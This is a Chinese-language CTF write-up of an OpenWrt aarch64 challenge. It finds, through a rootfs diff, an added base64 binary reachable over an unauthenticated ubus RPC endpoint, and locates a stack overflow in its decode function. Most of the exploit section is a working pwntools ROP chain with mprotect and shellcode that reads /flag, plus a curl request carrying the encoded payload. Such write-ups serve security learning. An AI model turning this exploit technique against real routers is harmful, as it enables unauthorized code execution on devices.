本文采取根据官方wp的方式进行复现,需要官方WP的pdf文件也可以在评论区留言(侵删)
文件系统分析
首先解压文件系统
1 2 3
| mkdir rootfs cd rootfs unsquashfs ../unsquashfs ../squashfs-root.img
|
在etc/os-release
中我们能看到版本信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| NAME="OpenWrt" VERSION="22.03.3" ID="openwrt" ID_LIKE="lede openwrt" PRETTY_NAME="OpenWrt 22.03.3" VERSION_ID="22.03.3" HOME_URL="https://openwrt.org/" BUG_URL="https://bugs.openwrt.org/" SUPPORT_URL="https://forum.openwrt.org/" BUILD_ID="r20028-43d71ad93e" OPENWRT_BOARD="armvirt/64" OPENWRT_ARCH="aarch64_cortex-a53" OPENWRT_TAINTS="" OPENWRT_DEVICE_MANUFACTURER="OpenWrt" OPENWRT_DEVICE_MANUFACTURER_URL="https://openwrt.org/" OPENWRT_DEVICE_PRODUCT="Generic" OPENWRT_DEVICE_REVISION="v0" OPENWRT_RELEASE="OpenWrt 22.03.3 r20028-43d71ad93e"
|
根据题目提示May be you need to do a diff with the rootfs in attachment.
,我们可以利用其中的关键词,从openwrt中搜索到官方的文件系统,解压后进行diff比较
1 2 3
| cd rootfs unsquashfs ../openwrt-22.03.3-armvirt-64-rootfs-squashfs.img diff -r squashfs-root squashfs-root-d3op
|
可得如下图结果
可以看到题目的文件系统多了对二进制文件base64,以及其对应的ubus的rpc接口,且这个接口可以未经身份验证访问。
我们可以通过本机的127.0.0.1:9999查看路由器的登录入口,典型IOT
逆向分析
程序是去符号表的,不过简单逆向就能看出其逻辑,主函数如下
可根据argv的参数决定输出,比如参数为list
即可输出格式,call
会调用decode
或者encode
函数,跟进函数sub_4064f0
可以看到如下比较明显的框架:
漏洞点在decode
函数当中,观察如下两个部分
可以看到decode
函数通过计算出output_len
,并以此作为长度,先向v16
中赋值解码好的数据,然后整个拷贝进入a2
当中。
但在main
函数中,我们的读入是4095,而这里并没有检测v16的长度,导致v16作为一个中间量出现溢出。
此时看一眼base64
二进制程序的保护,发现只有NX,那么就可以直接溢出构造ROP了
漏洞利用
基本思路如下:
- 利用溢出构造arm64架构下的ROP
- 转成base64后用访问对应api接口即可
构造ROP以及base64转换部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| from pwn import * import base64
context.arch = "aarch64"
set_x0 = 0x00000000004494b8
set_x1 = 0x00000000004010ec
call_mprotect = 0x00000000004579A4 shellcode = shellcraft.aarch64.linux.open("/flag", 0) shellcode += shellcraft.aarch64.linux.read(3, 0x4a23a4, 0x100) shellcode += ''' MOV X3, X0 LDR X1, =0x22 LDR X2, =0x4a23a3 STRB W1, [X3, X2] LDR X1, =0x7d LDR X2, =0x4a23a4 STRB W1, [X3, X2] ''' shellcode += shellcraft.aarch64.linux.write(1, 0x4a2398, 0x100) shellcode += ''' LDR X0, =1 LDR X9, =0x422D60 BLR X9 ''' payload = asm(shellcode,bits = 64) payload = payload.ljust(0x200, b"\x00") payload += p64(0) payload += p64(0x4A3000) payload += p64(0x4A2000) payload = payload.ljust(0x300, b"\x00") payload += b"{\"output\": \"" payload = payload.ljust(0x400, b"\x00") payload += b"A\x00\x00\x00" payload += b"A\x00\x00\x00" payload += b"A\x00\x00\x00" payload += b"A\x00\x00\x00" payload += b"A\x00\x00\x00" payload += b"A\x00\x00\x00" payload += b"\x18\x06\x00\x00" payload += b"\x1d\x04\x00\x00" payload += b"\x84\x05\x00\x00" payload += b"\x92\x04\x00\x00" payload += p64(0x4A2500) payload += p64(set_x0) payload += p64(0) * 4 payload += p64(0x4A2500) payload += p64(call_mprotect) payload += p64(0x4A2298 - 0x490) payload += b"BBBBBBBB" payload += b"CCCCCCCC" payload += p64(0x4A2098) payload += b"EEEEEEEE"
payload = base64.b64encode(payload) print(payload)
|
shell脚本访问api接口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| curl --location 'http://127.0.0.1:9999/ubus' \ --header 'Content-Type: application/json' \ --data '{ "jsonrpc": "2.0", "id": 1, "method": "call", "params": [ "00000000000000000000000000000000", "base64", "decode", { "input": "7sWM0o4trPLuDMDy7g8f+IDzn9Lg/7/y4P/f8uD///LhAwCR4gMfqggHgNIBAADUYACA0oF0hNJBCaDyAiCA0ugHgNIBAADU4wMAquEBAFgCAgBYYWgiOAECAFgiAgBYYWgiOCAAgNIBc4TSQQmg8gIggNIICIDSAQAA1GABAFiJAQBYIAE/1iIAAAAAAAAAoyNKAAAAAAB9AAAAAAAAAKQjSgAAAAAAAQAAAAAAAABgLUIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwSgAAAAAAACBKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAeyJvdXRwdXQiOiAiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEEAAABBAAAAQQAAAEEAAABBAAAAQQAAABgGAAAdBAAAhAUAAJIEAAAAJUoAAAAAALiURAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJUoAAAAAAKR5RQAAAAAACB5KAAAAAABCQkJCQkJCQkNDQ0NDQ0NDmCBKAAAAAABFRUVFRUVFRQ==" } ] }'
|